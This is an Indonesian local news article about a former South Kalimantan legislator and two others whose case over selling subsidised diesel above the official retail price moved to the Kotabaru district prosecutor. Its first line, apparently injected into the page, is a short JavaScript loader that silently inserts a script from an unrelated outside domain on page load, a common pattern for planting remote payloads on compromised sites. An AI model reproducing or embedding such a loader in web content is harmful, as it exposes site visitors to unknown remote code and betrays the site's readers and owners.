(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Kasus Penjualan Solar Bersubsidi di Atas HET Dilimpahkan ke Kejari Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Kasus penjualan solar bersubsidi di atas Harga Eceran Tertinggi (HET) yang melibatkan tersangka AN, dilimpahkan ke Kejari Kotabaru, Jumat (1/7/2022).

Sebelumnya, AN yang juga mantan anggota DPRD Kalsel ini, diamankan bersama 2 orang lainnya yang merupakan pembeli solar bersubsidi. AN selaku pemilik salah satu perusahaan Stasiun Pengisian Bahan Bakar Nelayan (SPBN) yang menjual solar pada kalangan nelayan di Kotabaru.

Kepala Kejaksaan Negeri (Kajari) Kotabaru, Andi Irfan Syafruddin, melalui Kasi Pidum, Seno Aji membenarkan ada penetapan tersangka terhadap 3 orang yang berinisial AN, K dan S.

“Sekitar siang tadi sebelum pelaksanaan shalat Jumat, kami (Kejari Kotabaru, red) menerima pelimpahan dari Kejati Provinsi Kalimantan Selatan atas perkara tersebut, sehingga perkara itu telah naik ke tahap dua,” kata Seno.

 

Baca juga  : Pemko Banjarbaru Hentikan Potongan Retribusi Sewa Toko dan Los Pasar Bauntung

Diterangkan olehnya, untuk penanganan kasus tersebut awalnya dilakukan oleh pihak Polda Kalimantan Selatan, kemudian dilanjutkan ke Kejati. Hanya saja, karena lokasi kejadian atau peristiwanya di wilayah Kabupaten Kotabaru sehingga dilimpahkan kepada Kejari Kotabaru.

“Namun perlu dicatat, kami di sini sifatnya hanya membantu proses persidangannya saja. Untuk tuntutan pihaknya akan berkoordinasi dengan pihak Kejati Kalsel,” tambahnya.

Untuk proses pelimpahan berkas ke Pengadilan Negeri (PN) Kotabaru, diperkirakan dalam waktu 1 minggu ke depan selanjutnya sesuai penetapan dari PN akan diagendakan pelaksanaan sidang.

“Sesuai ketentuan, tersangka dikenakan UU Cipta Kerja Pasal 55 yang mana seseorang tidak boleh menyalahgunakan atau menjual meniagakan berkaitan dengan minyak bersubsidi, dan untuk ancamannya maksimal selama 6 tahun dengan denda paling banyak sebesar Rp 60 miliar,” jelasnya.

Untuk HET sendiri, lanjutnya pula, hanya pada kisaran angka sebesar Rp 5.150. Sementara tersangka menjual di atas harga tersebut. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : cell


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

7 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

7 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

8 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

8 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

9 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

12 jam ago

This website uses cookies.